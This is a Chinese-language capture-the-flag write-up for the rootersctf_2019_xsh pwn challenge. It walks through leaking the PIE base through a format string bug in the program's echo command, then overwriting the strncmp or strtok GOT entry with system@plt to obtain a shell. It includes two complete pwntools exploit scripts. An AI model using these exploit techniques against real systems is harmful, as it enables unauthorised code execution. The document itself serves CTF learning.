查看保护,基本全开
IDA查看程序
程序读入命令,并通过子函数 run 执行
run函数
对读入的命令进行判断,只能执行ls, echo, zooo指令,
这里可以发现echo 命令存在format string 漏洞,
首先测试可以确定偏移为24
那么整体的思想就是修改程序提供的函数的got表为system@plt,然后再输入内容/bin/sh即可获得shell,目前可以利用的函数为strncmp和strtok函数
首先需要泄露piebase的值,这里介绍覆盖strncmp函数(strtok同理)
gdb调试
第三个%p位置泄露的是run+12在内存的位置,那么run+12=0x123d+12=0x1249
所以泄露的地址再减去0x1249即能得到piebase的地址,进一步获得system@plt的地址,strncmp@got的地址
这里system的地址需要加6
接下来就是修改strncmp的got内容为system@plt+6的值
构造payload为
其中low-7的7是12-5获得,12是b’echo’与2个p32的长度,-5是printf从第5个位置开始,那么已经填充的字符为7个
修改完后再次输入/bin/sh即可获得shell(多测试几次,远程测试能成功)
完整ex
from pwn import *
context(log_level='debug')
#io=process("./rootersctf_2019_xsh")
io=remote("node3.buuoj.cn",26926)
elf=ELF("./rootersctf_2019_xsh")
#gdb.attach(io)
io.recv()
payload=b'echo %3$p'
io.sendline(payload)
elf.address = int(io.recvuntil(b'\n',drop=True),16) - 0x1249
strncmp_got = elf.got['strncmp']
system_plt = elf.plt['system']+6
io.recv()
low=int(int((hex(system_plt)[-4:]),16))
high=int(int((hex(system_plt)[-8:-4]),16))
payload = b'echo' + p32(strncmp_got) + p32(strncmp_got+2)
payload += '%{}c%24$n%{}c%25$n'.format(low-7, high-low).encode()
io.sendline(payload)
io.recv()
io.sendline(b'/bin/sh\x00')
io.recv()
#pause()
io.interactive()
同理修改strtok函数,多次测试,本地能打通,远程不行
这里需要中间输入一个任意的命令,调用过strtok函数, 最后手动输入/bin/sh
完整ex
from pwn import *
context(log_level='debug')
io=process("./rootersctf_2019_xsh")
#io=remote("node3.buuoj.cn",26926)
elf=ELF("./rootersctf_2019_xsh")
#gdb.attach(io)
io.recv()
payload=b'echo %3$p'
io.sendline(payload)
elf.address = int(io.recvuntil(b'\n',drop=True),16) - 0x1249
strtok_got = elf.got['strtok']
system_plt = elf.plt['system']+6
io.recv()
io.sendline(b'test')
io.recv()
low=int(int((hex(system_plt)[-4:]),16))
high=int(int((hex(system_plt)[-8:-4]),16))
payload = b'echo' + p32(strtok_got) + p32(strtok_got+2)
payload += '%{}c%24$n%{}c%25$n'.format(low-7, high-low).encode()
io.sendline(payload)
io.recv()
io.sendline(b'ls')
io.recv()
#pause()
io.interactive()